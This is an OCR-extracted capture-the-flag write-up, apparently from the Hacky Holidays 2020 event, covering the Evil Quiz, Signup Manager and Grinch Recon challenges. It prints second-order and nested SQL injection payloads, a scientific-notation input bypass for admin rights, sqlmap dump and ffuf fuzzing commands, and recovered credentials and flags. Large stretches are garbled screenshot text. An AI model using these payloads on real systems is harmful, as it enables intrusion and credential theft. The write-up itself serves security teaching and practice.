<fdivs
35 </div>
36
37 </div>
38 </div>

By simplying doing same we find out that password is 17 char long.

Request Response
Raw  params Headers Hex Hackvertor Raw Headers Hex Hackvertor
pretry R \n Actons v Raw Render \n  Actions v
1 EET Jevil-quiz/score HTTP/1.1 B </title>
2 Host: hackyhol1days .hlctf.com 12 <ieta charset="utf-g
3 Comnection: close 15 neta hitpsagive"x-Us-Compatible’ comtent="T "
4 Cache-Control: max-age=0 14 meta name=! "\/iewport ‘content="width=devi ce- mdth, initial-scale=1"s
S Upgrade-Inseclre-Requests: 1 15 <link re et Rre o https =/ fmaxcin - baotatrapadn. com/bootatr ap/3.3.7/css bootstrap.min.cs
€ USaroagent: Moei11a/5:0 (windows NT 10.0; win6d; x64) Applewsbicit/537.36 (KTML, 1ike Gecko) Chrome/89.0.4346.0 16 </heads
s.afam' 537.36 £dg/89.0.731.0 17 <body>
18 =" feyil-quiz/admin’ style=" Opx! class="btn btn-danger pull-right”>Admin</a>
text/htrrﬂ app1ication/xhtmxn  app fcation/xn5G-0.9, inage /webp, inage/apng, */*;3-0.8, appl i cation/signed-exchang |19 <div da§5  Container” style margi ngop: 20pk">
vl 20 <div ¢ ext-cente
§ SR et sane- origin ing sre"/assets) inages /arinch-networks. png” alt="Grinch Networks”s
9 Sec-Fetch-Mode: navigate </divs
10 Sec-Fetch-user: 71 21 <hl class="text-center ">
L1 Sec-Fetch-Dest: document. Evil Quiz
12 Referer; ttps: //hackyhol idays it con/evil-quiz/start </h1>
15 ccept—Encoding: gzip, deﬂ 2 2div class="row"s
L4 Accept-Language =0.7,r:0=0.6,pt;q=0.5 23 <div class="col-nd—6 col-pd-offser=3">
15 cookfe: session- 50120004608d546 15 852403569473 24 nav nav-tal
25 Fresentatwn >
i "/evil-quiz'>Your Mame</a>
26 <13 role="presentatiol
<a href="/evi1- qmz/start squize/a>
</13>
27 <1i role="presentation” class="active's
<a href="/evil-quiz/scora"sscora</as
<195
28 <Jul>
29
30 <div_class="text-center” style="mar gin-top: 50px">
31 <div>
<strong>
ashka&#039; OR (select LENGTH(password) from admin)=174#
</strongs
You Seared
</div>
32 <div style="font-size:72px;">
0/<strong>
</strong>
</divs
33 <civ>
You're not evil at all!
</div>
34 <div style="nargin-top
/Eher‘e i5 887636 other p?aysr(s) with the same name as you!
</divs
35 <Jdiv>




As we can see we find out lengths for both username and password columns
respectively, since we are doing second order boolean based blind SQL injection attack, we
must use following sample for finding exact values for both columns.

TotallyRandom'+or+(select+1+from+admin+where+MD5(SUBSTRING(column,position,1))=MD5
(CHAR(Nth)))#

As we can see we used built-in md5, char and substring functions of MySQL, reason
we are doing it for being sure to catch exact value for data, since it might be case sensitive.

Considering we must find 22 characters, doing above example manually like previous
ones will take so much time so we must write our own automation tool for it.

A simple bash script like this does wonders:

printf

aone

printf

Since we do not need submitting answers all the time but updated our name for
session to execute second order SQL injection, we can just directly access /score endpoint
right after updating our name. Syntax for executing sample bash script would be like:

./script.sh <column> <length> <session>

After some time, we find out username:

root@instance-20190910-0255:~# ./chal9.sh username 5 031a51aldb08cO7507486ebafse50bad

username is: admin
done!
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Now it’s time to find value for password:

root@instance-20190910-0255:~# ./chal9.sh password 17 031a51aldb08c@7507486ebaf5e50bad
password is: S3creT_p4sswlrd-$

done!

We will use following credentials on /admin endpoint.

1 https://hackyholidays.h1ctf.com/evil-quiz/admin ? 18

Evil Quiz Admin
flag{6e8a2df4-5b14-400f-a85a-08a260b59135)

Due to second order SQL injection on /evil-quiz/score endpoint, malicious actor can
run arbitrary queries on DBMS and can steal sensitive information, such as user credentials or
alter database contents which would affect applications workflow.

A SQL injection attack consists of insertion or “injection” of a SQL query via the input
data from the client to the application. A successful SQL injection exploit can read sensitive
data from the database, modify database data (Insert/Update/Delete), execute
administration operations on the database (such as shutdown the DBMS), recover the
content of a given file present on the DBMS file system and in some cases issue commands
to the operating system. SQL injection attacks are a type of injection attack, in which SQL
commands are injected into data-plane input in order to affect the execution of predefined
SQL commands.

SQL query on /evil-quiz/score endpoint which is querying quiz contestants name on
the database is vulnerable to SQL injection, while /evil-quiz/score endpoint is not directly
receiving any user supplied parameter via request, it's processing user input received on
initial session creation at /evil-quiz/ endpoint, which is leading to second order SQL
injection vulnerability.
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Signup Manager

When we visit Signup Manager app on our browser, it had following contents:

™ httpsy//hackyholidays.h1ctf.com/signup-manager/ @ ® @ @

SignUp Manager

Sign up to be part of the grinch army!

Login Signup

Username: Username:

Password: Password:

age: 0]

First Name:

Last Name:

On engagement, application looks very simply which is letting visitors to signup and
created their accounts. While inspecting active DOM content there was interesting
comment:

Which was mentioning See README.md for assistance, which appears to be
comment left out by developer of the application. README.md file had following contents
onit:
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root@instance-20190910-0255: /tmp# curl —s https://hackyholidays.hlctf.com/signup-manager/README .md
# SignUp Manager

SignUp manager is a simple and easy to use script which allows new users to signup and login to a private page. All users are stored in a file so need for a complicated dat
tup.

### How to Install

1) Create a directory that you wish SignUp Manager to be installed into

2) Move signupmanager.zip into the new directory and unzip it.

3) For security move users.txt into a directory that cannot be read from website visitors
4) Update index.php with the location of your users.txt file

5) Edit the user and admin php files to display your hidden content

6) You can make anyone an admin by changing the last character in the users.txt file to a ¥

T) Default login is admin / password

It was mentioning default credentials are admin:password and mentioning users.txt
is where user credentials stored, as well as signupmanager.zip is being archive name of the
application, and mentioning adding Y char as last character on users.txt grants admin access
to the users.

When logged in with admin:password credentials, it was actually user account:

[ https://hackyholidays.h1ctf.com/signup-manage s ® @ & F

User Area

We'll have a look into you and see if you're evil enough to join the grinch army!

So that credentials are not what should we look for, when checked users.txt that file
is not there either.

2 https://hackyholidays.hlctf.com/signup-manager/users.txt s ® @ & !
404 Page Not Found

ngine'1.15 8

Only information left is signupmanager.zip file and when we checked its existence, it
was actually there.
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root@instance—20190916-0255: /tmp# wget https://hackyholidays.hlctf.com/signup-manager/signupmanager.zip
--2020-12-25 02:00:26—  https: //hackyholidays.hlctf.com/signup-manager/signupmanager.zip

Resolving hackyholidays.hlctf.com (hackyholidays.hlctf.com)... 18.216.153.32

Connecting to hackyholidays.hlctf.com (hackyholidays.hlctf.com)|18.216.153.32]:443... connected.

HTTP request sent, awaiting response... 200 0K

Length: 4118 (4.0K) [application/zip]

Saving to: °signupmanager.zip’
signupmanager.zip 9 —>] 4.02K —.-KB/s  in @s

2020-12-25 02:00:27 (335 MB/s) - ‘signupmanager.zip’ saved [4118/4118]

After downloading archive file, we unzipped it to see what kind of contents was
there.

root@instance-20198910-0255: /tmp# unzip signupmanager.zip
Archive: signupmanager.zip

inflating: README.md

inflating: admin.php

inflating: index.php

inflating: signup.php

inflating: user.php

It appears to be valid source of the application and admin.php was looking
interesting, viewed code is in place.

root@instance-20190916-0255: /tmp# cat admin.php
<?php
//D0 NOT DELETE THE BELOW LINE
if( lisset($page) ) die("You cannot access this page directly"); 2>
<IDOCTYPE html>
<html lang="en">
<head>
<title>SignUp Manager - Admin Area</title>
<meta charset="utf-8">
<meta http—equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSTFeK1d6mJRAkycuHAHRg320mUcwwTon:
dEjhau” crossorigin="anonymous">

<div class="container" style="margin—top:20px">
<hl class="text-center" style="margin:0;padding:@">Admin Area</h1>
<fdiv>
</body>
<fhtml>

As we can see from the source code, direct access to admin.php file is prevented.
Let’s check index.php as well.
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root@instance-20190910-0255: /tmp# cat -index.php
<?php
if( isset($_GET["logout™]) ){
setcookie('token' ,null,time()-3600);
header ("Location: ".explode("?",%_SERVER["REQUEST_URI"])[@]);
exit();
}
function buildUsers(){
Susers = array();
$users_txt = file_get_contents('users.txt');
foreach( explode(PHP_EOL,Susers_txt) as $user_str ){
if( strlen($user_str) == 113 ) {
Susername = str_replace('#', '', substr($user_str, 0, 15));
Susers[$username] = array(
'username' => Susername,
'password' => str_replace('#', '', substr($user_str, 15, 32)),
'cookie' => str_replace('#', '', substr($user_str, 47, 32)),
'age' => dintval(str_replace('#', '', substr($user_str, 79, 3))),
'firstname' => str_replace('#', '', substr($user_str, 82, 15)),
'lastname' => str_replace('#', '', substr($user_str, 97, 15)),
'admin' => ((substr($user_str, 112, 1) === 'Y') ? true : false)
);
}

return $users;

function addUser ($username,$password,$age,$firstname,$lastname){
$random_hash = md5( print_r($_SERVER,true).print_r($_POST,true).date("U").microtime().rand() );
$line = '';
$line .= str_pad( S$username,15,"#");
$line .= $password;
$line .= $random_hash;
$line str_pad( $age,3,"#");
$line str_pad( $firstname,15,"#");
$line str_pad( $lastname,15,"#");
$line 'N';
$line = substr($line,0,113);
file_put_contents('users.txt',$line.PHP_EOL, FILE_APPEND);
return $random_hash;

PO T S Y

$all _users = buildusers();
$page = 'signup.php';
if( isset($_COOKIE["token"]) ){
foreach( $all users as $u ){
if( $u["cookie"] == $_COOKIE["token"] ){
if( Su["admin"] ){
$page = 'admin.php';
}else{
$page = 'user.php';
H

It looks like index.php is handling all requests as well as loading admin.php
signup.php and user.php files. Function named addUser is responsible for adding new user
to the users.txt, further checking points out that all legit users added as normal user as
expected.

function addUser ($username,$password,$age, $firstname,$lastname){
$random_hash = md5( print_r($_SERVER,true).print_r($_POST,true).date("U").microtime().rand() );
$line 'y
$line .= str_pad( $username,15,"#");
Sline $password;
$line $random_hash;
$line str_pad( $age,3,"i#");

$line str_pad( $firstname,15

$line str_pad( $lastname,15,"#

$line .= 'N';

$line = substr($line,0,113);
file_put_contents('users.txt',$line.PHP_EOL, FILE_APPEND);
return $random_hash;
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Application is having some sanitize checks for signup process as well:

if( $page = 'signup.php' ) {
$errors = array();
if (disset($ POST["action"])) {
if( $_POST["action"] == 'login' && -isset($_POST["username"], $_POST["password"]) ){
if( disset($all_users[ $_POST["username"] ]) ){
$u = $all users[ $ POST["username"] ];
Af( md5($_POST["password"]) === $u["password"] ){
setcookie('token', 3$u["cookie"], time() + 3600);
header ("Location: " . explode("?", $_SERVER["REQUEST_URI"])[0]);
exit();
}
¥

$errors[] = 'Username and password combination not found';

if ($_POST["action"] == 'signup' && isset($_POST["username"], $_POST["password"], $_POST["age"], $_POST["firstname"], $_P!

Susername = substr(preg_replace('/([*a—zA-Z8-9])/', '', $_POST["username"]), @, 15);
if (strlen($username) < 3) {

S$errors[] = 'Username must by at least 3 characters';
} else {

if (isset($all_users[$username])) {

Serrors[] = 'Username already exists';

}
}
$password = md5($_POST ["password"]);
$firstname = substr(preg_replace('/([*a-zA-Z6-9])/', '', $_POST["firstname"]), 0, 15);
if (strlen($firstname) < 3) {

$errors[] = 'First name must by at least 3 characters';
}
$lastname = substr(preg_replace('/([*a-zA-Z0-9])/', '', $_POST["lastname"]), @, 15);
if (strlen($lastname) < 3) {

$errors[] = 'Last name must by at least 3 characters';
1
if (Yis_numeric($_POST["age"])) {

$errors[] = 'Age entered is invalid';

}
if (strlen($_POST["age"]) > 3) {
$errors[] = 'Age entered is too long';

¥

$age = intval($_POST["age"]);

if (count($errors) === 0) {
$cookie = addUser($username, $password, $age, $firstname, $lastname);
setcookie('token', $cookie, time() + 3600);
header ("Location: " . explode("?", $ SERVER["REQUEST URI"])[0]);
exit();

At first glance, all is looking like perfect, until noticing is_numeric and strlen checks
for age parameter.

Application was trusting user supplied data then passing it with using intval function.
Since users can only send age parameter with 3-digit numbers, developer thought having
strlen control but not on boundary for potential higher values, application was directly
processing user suppied data.

When user sends scientific notation e inside of the value, they sent such as “1e3”
which is equal to 1000, they could bypass strlen check and would result on padding on
application corrupted, if user send Y char their last char for lastname and send their age with
any value using scientific notation e they can gain admin access.
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Scientific notation is another way to write a number. In scientific notation, the letter
E is used to mean "10 to the power of." For example, 1.314E+1 means 1.314 * 101 which is
13.14. Let’s convert this theory to the actual reality.

First of all, inspect age input using developer tools and modify value for very first one

to 1le3

B (] Eements Conscle Sources

div.panel.panel-default _di

Now move back to form and fill it like example in screenshot, you can just fill last
name with full of Y’s, because of the str_pad function we do not need to send firstname with

more than 3 characters.

& https://hackyholidays.h1ctf.com/signup-manager/

Login

Username:

Password:

Once we send our request, application redirected us to admin area.

SignUp Manager

Sign up to be part of the grinch army!

Signup

Username:
test231012

Password:

Age:

First Name:
abc

Last Name:

YYYYYYYYYYYYYYY
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5]

https://hackyholidays.h1ctf.com/signup-manager/ 2 va 1

ETWORKS
Admin Area

flag{99309707-1752-44a5-af1e-a03e4150757d}
‘You made it through, continue to your next task here

We combined following vulnerabilities to gain admin rights:

e Source code exposure due to leaving archive file
e Improper input validation on age parameter

Ideally, on blackbox testing such exploitation is least possible, because without
source code in hands of attacker guessing such way to handle users on system is unlikely.

Developers should refrain leaving backups of source codes on servers and public
repositories.
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Grinch Recon

When we visit Grinch Recon app on our browser, it had following contents:

ps://hackyholidays.h1cti.com/i3c0n_server

Grinch Recon

Grinch Recon Albums
r the last fe:

Photos Album Name

On initial contact, application looks like having login on /attack-box endpoint,
mentioning development of API as well as having some albums with some photos on them.

Let’s check if there are some hidden endpoints before going further on how
application works, we will be using following ffuf syntax:

ffuf -u https://hackyholidays.hlctf.com/r3cOn server 4fdk59/FUZZ -w [PATH]common.txt

root@instance-20190910-0255:~# ffuf -u https://hackyholidays.hlctf.com/r3cen_server_4fdk59/FUZZ -w SecLists/Discovery/Web_Content/common.txt

[ Ny L '\

NN NN o NS

AW P} U PO VA W VA Y Y U WP

A R R WA S W T A W)
AV VR U W VY A W VA
AV V

: GET
: https://hackyholidays.hlctf.com/r3cOn_server_4fdk59/FUZZ
: FUZZ: SeclLists/Discovery/Web_Content/common.txt

: Follow redirects : false

: Calibration : false

il : 10

: 40
: Response status: 200,204,301,302,307,401,403

[Status: 200, Size: 2390, Words: 888, Lines: 54]
picture [Status: 200, Size: 21, Words: 3, Lines: 1]
uploads [Status: 403, Size: 145, Words: 3, Lines: 7]
:: Progress: [4594/4594] :: Job [1/1] :: 417 regj/sec :: Duration: [0:00:11] :

: Errors: @ ::

Interestingly there is APl endpoint, which actually mentioned on index page about
ongoing development, let’s visit it.
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https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/FUZZ

&~ C @ O hipsy//hackyholidays.hictf.com/r3cOn_server_4fdk59/ap

Grinch API

You Can find out endpoints at /r3c0n_server_4fdk59/api/*

Grinch API Status Codes

HTTP Status Code Explanation

200 Successful request with data retumed

204 Successful request but with no data found
404 Invalid Endpaint

400 Invalid GET/POST variable

401 Unauthenticated Request or Invalid client IP

As we can see there are some explanation about what status code responses mean
for APl and it also mentioned we can find endpoints. We will be using following ffuf syntax:

ffuf -u https://hackyholidays.hlctf.com/r3cOn server 4fdk59/api/FUZZ -w [PATH]common.txt

root@instance—20190910-6255: ~# ffuf —u https://hackyholidays.hlctf.com/r3cn_server_4fdk59/api/FUZZ -w SecLists/Discovery/Web_Content/common. txt

PR Wy A
NN NS
AV QIS | U NP
AV U W VA W O WA W O W W
AV Y U W W G W W A W AN
AV VA AV \/-/

: https://hackyholidays.hlctf.com/r3con_server_4fdk59/api/FUZZ
UZZ: Seclists/Discovery/Web_Content/common.txt
: false
alse
]
0

lesponse status: 200,204,301,302,307,401,403

[Status: 401, Size: 64, Words: 9, Lines: 1]
[Status: 401, Size: 64, Words: 9, Lines: 1]
[Status: 401, Size: 64, Words: 9, Lines: 1]
[Status: 401, Size: 64, Words: 9, Lines: 1]
[Status: 401, Size: 64, Words: 9, Lines: 1]
[Status: 401, Size: 64, Words: 9, Lines: 1]

It looks like almost all API endpoints throwing 401 error, let’s filter if there are some
endpoints which is not responding with 401 error, we will be using following ffuf syntax:

ffuf -u https://hackyholidays.hlctf.com/r3cOn server 4fdk59/api/FUZZ -w [PATH]common.txt
-fc 401
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https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/api/FUZZ
https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/api/FUZZ

root@instance-20190910-0255:~# ffuf -u https://hackyholidays.hlctf.com/r3con_server_4fdk59/api/FUZZ -w Seclists/Discovery/Web_Content/common.txt —fc 401

A Uy '\
NN NN o NS
AW TS | U WP VA W VA W W W VPO

VALV VLAYV S

VAL | W W S W WA ¥
\/-/ \VAV RV AV

: GET
: https://hackyholidays.hlctf.com/r3cOn_server_4fdk59/api/FUzZ
: FUZZ: Seclists/Discovery/Web_Content/common.txt
ollow redirects : false
alibration
imeout
hreads
: Response status: 204,301,302,307,461,403
Response statu

:: Progress: [4594/4594] :: Job [1/1] :: 417 req/sec :: Duration: [0:00:11] :: Errors: @ ::

So, there is no endpoint returned, now let’s check what is actual response when
visiting one of the endpoints returned 401 error.

< G @ & https://hackyholidays.hictf.com/r3cOn_server_4fdk59/api/1

{"error”:"This endpoint cannot be visited from this IP address"}

Application is having some IP address control for checking accessing to the API
endpoints like mentioned on initial documentation. We will try that if we can bypass it with
using X-Forwarded-For header, which is a common method for identifying the originating IP
address of a client connecting to a web server through an HTTP proxy or load balancer.

Raw  Headers Hex Hackvertor Raw  Headers Hex Hackvertor

pretey [ W0 Actions v B Raw Render \n  Actions v
1 GET /r3cOn_server_4fdk59/api/1 HTTP/1.1
2 Host: h /hoqidays.hlctf.com

>

3 Da Fri,

4 Content-Type: application/json
5 Connection: close

6 Content-Length: 64

"error":"This endpoint cannot be visited from this IP address"

ch-
Fetch-Dest: document

pt-Encoding: gzip, deflate

ceept-Language: tr,en-Us;q=0.9,en;q=0.8,en-GB;q=0.7,fr;q=0.6,pt;q=0.5

So far, we have only limited information regarding how APl works and how to access
hidden endpoints, let’s engage with albums endpoint, which was using hash parameter to
filter albums, interestingly value on hash was some random string.
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Since it was some random string, there might some input validation error, let’s check
adding some extra characters first.

5] https://hackyholidays.h1ctf.com/r3cOn_server_4fdk59/album?hash=59gropa i)

404 Page Not Found

nginx/1.15.8

It looks like when we added a as extra, application gave 404 not found, now let’s try
adding ‘--+a to see if we are able to manipulate potential SQL query, since we do not know
DBMS, we will use commenting with --+a which works on all DBMS’.

https://hackyholidays.h1ctf.com/r3cOn_server_4fdk59/albumrhash=59grop%27--+a 8

ETWORKS
Xmas 2019

It appears that there is some potential SQL query and we are able to manipulate it,
let’s confirm it with using ‘ and 1=1--+a for injection string.

& https://hackyholidays.h1ctf.com/r3cOn_server_4fdk59/album?hash=59grop%27%20and%201=1--+a 6 ®
ETWORKS
Xmas 2019
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Application accepted our input again now for confirming SQL injection is in place let’s
change injection string to ‘ and 1=2--+a and see what happens.

R

01=2--+a i Y @
404 Page Not Found

3 https://hackyholidays.hictf.com/r3cOn_server_4fdk59/album?hash=59grop%27%20and%

nginx/1.15.8

So, there is indeed an SQL injection is in place, since 1 is not equal to 2 DBMS
returned no results, so application is showing 404 error.

Now we can use sqlmap [6] to see if we can exploit the target application, since all
we want to see database schema and potential user table, we will be using following syntax
for sqlmap.

sqlmap -u https://hackyholidays.hlctf.com/r3cOn_server_4fdk59/album?hash=59grop --dbs --
tables

oot@instance-20190910-0255:~# sqlmap -u https://hackyholidays.hlctf.com/r3cOn_server_4fdk59/album?hash=59grop —-dbs ——tables

- rea_1-l -l
v |_1 http://sqlmap.org

!]1 legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and fed
fral laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

*] starting at 16:09:08

16:09:10] [WARNING] GET parameter 'hash' does not appear to be dynamic
16:09:18] [WARNING] heuristic (basic) test shows that GET parameter 'hash' might not be injectable

t looks Like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [¥/n]
or the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [¥/n]

So sqglmap confirmed issue is exploitable by it and it will now show us schema of the
target applications database.
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Database: recon
[2 tables]

i

| album
| photo

4

Database: information_schema
[79 tables]

.

Unfortunately, there is only album and photo tables is in present. Let’s dump their
contents with following syntax for sqlmap:

sqlmap -u https://hackyholidays.hlctf.com/r3cOn_server 4fdk59/album?hash=59grop -D
<database> -T <table> --dump

root@instance-20190910-0255:~# sqlmap -u https://hackyholidays.hlctf.com/r3cn_server_4fdk59/album?hash=59grop -D recon -T album —-dump

[N 1 P |
I-lv |-l http://sqlmap.org

[!]1 legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and
jeral laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 16:15:05

lsqlmap resumed the following injection point(s) from stored session:
Parameter: hash (GET)
Type: boolean-based blind
Title: AND boolean-based blind — WHERE or HAVING clause
Payload: hash=59grop' AND 2134=2134 AND 'UJoE'='UJoE

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: hash=—2439' UNION ALL SELECT NULL,NULL,CONCAT(Ox717a7a7071,0x746e547345546958476b4e50695a4b4669706565727a474e5153T46 75943756 37475584c674T4e43,0xT176766aT1) —— qfko

eb server operating system: Linux Ubuntu
eb application technology: Nginx
back-end DBMS: MySQL 5

Database: recon
[Table: album
[3 entries]

—+-

| id | hash
+

| 1 | 3dir42 | Xmas 2018 |
| 2 | 59grop | Xmas 2019 |
| 3 | jdh34k | Xmas 2020 |
..

It appears to be no hidden album is in present, let’s dump photo table as well.
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https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=59grop

root@instance-20190910-0255:~# sqlmap -u https://hackyholidays.hlctf.com/r3con_server_4fdk59/album?hash=59grop -D recon -T photo —-dump

tp://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and fed
eral laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 16:15:55

sqlmap resumed the following injection point(s) from stored session:

Parameter: hash (GET)
Type: boolean-based blind
Title: AND boolean-based blind — WHERE or HAVING clause
Payload: hash=59grop' AND 2134=2134 AND 'UJoE'='UJoE

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
: hash=-2439' UNION ALL SELECT NULL,NULL,CONCAT(6x717a7a7@71,0xT46e547345546058476b4e50695a4b4669706565727a474e51537467594375637475584C6T474e43,0xT176766a71)—— qfko

web server operating system: Linux Ubuntu

web application technology: Nginx
back-end DBMS: MySQL 5

Database: recon

| ©a382c6177b4386elad5ceeaa8l2ede.jpg |

So, we couldn’t locate any hidden entry on database. It means we must continue
examining app first. So, let’s view active DOM content of the any album.

ETWORKS
Xmas 2019

divrowafter t ST -‘-ﬂ g

v s+, [

etica Newe Helvetica, arial

It looks like application is loading images with picture endpoint, on the data
parameter there is some base64 encoded value. Let’s decode it.
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YIEYNDM1Y

{'image":"r3c0n_server febb10572b1 Jpg","auth™"76ba061 776b36"}

Encoded value on data parameter looks like is json data and it was having image and
auth parameters. Let’s try to visit image link directly.

< C @ ) https://hackyholidays.h1ctf.com/r3cOn_server_4fdk59/uploads/32febb19572b12435a6a390c08e8d3dajpg

Image cannot be viewed directly

Application prevented us to view it and throw error mentioning Image cannot be
viewed directly that means, either application reading from file system and serving it under
picture endpoint or connecting to some server and doing request. Since auth parameter is in
present, it looks like second option is the case. So, we will modify json data and try to access
api endpoint.

Request Response
taw  params Headers Hex Hackvertor RaWw  Headers Hex Hackvertor
precty [ \n Actions v BESH Rew Render \n  Actions v

1 GET /ricOn_server_4fdk59/picturerdata- o o
<@ba§564,0> "image" : "r 3cOn_server_4fdk59\/uploads\/..\/api\/", "auth":"76ba061d356c6264a6005216e1776ba6" }k@/base6
4_0>} HTTP/1.

/1.1
2 Host: hackyholidays .hictf.com
e

x/1.18,0 (Ubuntu)

, 25 Dec 2020 19:03:33 GNT

ype:_text/html; charset=UTF-8
e

-Requests: 1 27
ent : Mozwﬂa?s.o (Windows NT 10.0; Win64; x64) ApplelebKit/537.36 (KHTML, 1ike Gecko) Chrome/89.0.4346.0
Saf ’7537.36 Edg/89.0.731.0 dnvalid authentication hash
6 Accept:
text/html, app n/xhtmlexn, application/xml;4=0.9, inage/webp, image/apng, */#3q=0.8 ,app’i cation/s gned-exchang
<
7 Se
8 Se
9 Se
0 se ment.
1Re kyholidays . hlctf . com/r 3cOn_s erver_4fdks9/album?hash=53grop
2 Accept-Encoding: gzip, deflate
3 Accept-Language: tr,en-US:q=0.9,en;q=0.8,en-GB:q=0.7,fr:q=0.6,pt:q=0.5
1
5

It looks like we were right, but application returned invalid authentication hash
error. So, we will try to analyze applications workflow by visiting albums again. We already
located SQL injection on hash parameter, let’s try some injection query like this -1’ UNION
SELECT 1,1,1%23 since we already find out that application is using MySQL as DBMS and
sqlmap already mentioned similar payload, let’s see what happens.
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< C B O hitps//hackyholidays.hictf.com/r3cOn_server_4fdks9/2lbum?hash=-1%27%20UNION%20SELECT%201,1,1%23 s ® @ & =

ETWORKS
1

B

hat iu
OA ‘

It looks like application read from first album even though we did not give correct
hash to it and instead of album title, it shows 1, which is third column on album table
respectively for sqlmap dump, we got earlier.

That means there is already second query processing and after getting results from
that query application is generating links for images with their path, we are maybe able to
do some inception and generate string with another injection query on actual request. Our
payload will be looking like this:

-1’ UNION SELECT “1’ OR 1="1",1,1%23

& https://hackyholidays.h1ctf.com/r3cOn_server_4fdk53/album?hash=-1%27%20UNION%20SELECT%20"-19%27%200R%201=%271",1,1%23 8 ® (

ETWORKS

It appears that application has another variant of second order sql injection attack
more likely sql inception attack. We might be able to force application to generate valid
authentication hashes for any path with this attack. We will try following payload:
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-1’ UNION SELECT “-1’ UNION SELECT 1,1,’../api/’%23”,1,1%23

Request Response Q==
Raw  params _Headers Hex  Hackvertor Raw  Headers Hex Hackvertor

pretty. W Actions v pretty [ Render \n  Actions v

1 GET /r3cOn_server_t 4fdk59/a‘|bum7has)1:*l‘+UN[0M¢SELECT+”*1‘+UN[ON+SELECT+1,1, '../api/'%23",1,1%23 HTTP/1.1 all 1 HTTP/1.1 200 Of .

2 fost: hackyholidays. hlctf.c 2 Server ng]nx/l 18.0 (Ubuntu)

3 Connection: close c 2020 22:44:22 GMT

4 Upgrade-Insecure-Re 1 Coent Types_taxt/hem; charsetuTe-8
5 User-, A ent Mozwﬂa?s 0 (\hndows NT 10.0; Win64; x64) ApplewebKit/537.36 (KHTML, Tike Gecko) Chrome/89.0.4346.0 5 Connection: close
Sa 537.36 Edg/89.0.731.0 6 Content-Length: 1144
6 Accept:
text/htm], application/xhtml+xn1,application/xml;q=0.9, image/webp, image/apng, “/*; 4=0.8, application/signed-exchang 8 <IDOCTYPE htm>
e;v 9 <htnl lang="en">
Sec-Fet one 10 <head>
8 Sec-Fet avigate 11 nch Recons/title>
9 Sec-Fetch-Us
10 Sec-Fetch-De: loci 13 -C i " content="IE=edge">
1 AeCepttneoding: “gip: deflat 1 Vi ewp h=device-width, initial-scale=l">
12 Accept-| LGguage r,en-US;g= c 9,en;q=0.8,2n-GB;9=0.7, fr;q=0.6,pt;9=0.5 15 tyles| etps £/ /maxcdn. hootstrapcdn (mn/LootStrap/3 .7/css /bootstrap.min.css
13 integrity="sh e g s2/K6BvbdEjhdu” crossorigin="anonymous">

1

</head>

ainer” style="s margvv top 20px">
‘text-center'><ing src="/assets/images/grinch-networks.png" alt="Grinch Networks"></div>

-nd-8 col-md-offset-2">
>

<div class="ro\

26 <div classs"col-md-4"
<img_class - 2spon:

/r 3cOn_server_4fdks9/pictur o7datazey JpGFE

TVAE ZTCVOGE L2 YT CoNTAZIDTZMOQ3N 14001 52C29">

et
X3N1cnz] €180ZnRr T L 3VubGIhZHNCLY 4uXCOhcG cLyTs InF LdGgiod

Our payload worked and application generated some link, let’s decode base64 value
of data parameter.

YTCNTA 1

{"image”:"r3cn_server_afdk load: " "auth":"0 476288200}

As we can see application generated valid hash for api endpoint, let’s check what
happens when we do request on that link.

Request Response

RaW  Params Headers Hex Hackvertor RaW Headers Hex Hackvertor

Pretty \n  Actions v pretty [ Render \n  Actions v

1 GET /r3cOn_server_4fdk53/picture?data= A | 1HTTP/1.1 200 oK
eyIpbWFNZSI6INIzYZBuX3NTcnz1c180ZmRr NT1cL 3ViwbGBhZHNCLy 4uxC9hcG 1 cLyTsImF1dGgiod TwNwE 32T cwOGE 17 jNkyT c2NTAZMDIZMDQ 3 2 server: nginx/1.18.0 (Ubuntu)
NIT40DISZCI9 HTTP/1.1 3 Date: Fri, 25 Dec 2020 22:48:59 GMT

2 Host: hackyholidays.hlctf.com 4 Content-Type: text/htm], charset=UTF-8

3 Connection: close 5 Connection: close

4 Upgrade-Insecure-Re 6 Content-Length: 29

5 User-Agent: Mozmajs 0 (\hndows NT 10.0; WinB4; x64) Applelebkit/537.36 (KHTML, like Gecko) Chrome/89.0.4346.0 7
53fam3537 36 Edg/89.0.731.0 8 Tnvalid content type detected

6 Acc

cc
it ;e lication/xhnloanl, 2pplication/snl 19=0.9, inage/webp, fnage/ spng, */*$9=0.8, app fcation /s gned-exchang
s;v=b3;g=0.

SE( Fetch- SWtE: none
Sec-Fetch-Mode: naw‘gate
Sec-Fetch-User: ?1

10 Sec-Fetch-Dest: dozument

11 Accept-Encoding: gzip, deflate

lZ Accept-Language: tr,en-US;q=0.9,en;

l4|

4

wo

0.8,en-GB;q=0.7,fr;q=0.6,pt;q=0.5

So, application didn’t give invalid authentication hash error, but invalid content type
detected that means, application was able to send request but content type is not matching
with what application looking for, we can now try to make our own fuzzer finding hidden
endpoints under api.



Our code will be looking like this:

1ctf.com/r3cén_server_4fdk59/album?hash=-1%27+UNION+SELECT+X

,1,1%23 | grep | sed

ttps://hackyholidays.hlctf.com |grep -v
sponse ]]; then

We will exclude responses with 404 error, since documentation mentioned when
endpoint is invalid, api will respond with it, then will be using our fuzzer with following

syntax:

cat [PATH]Jcommon.txt | xargs -n1 -P10 ./script.sh

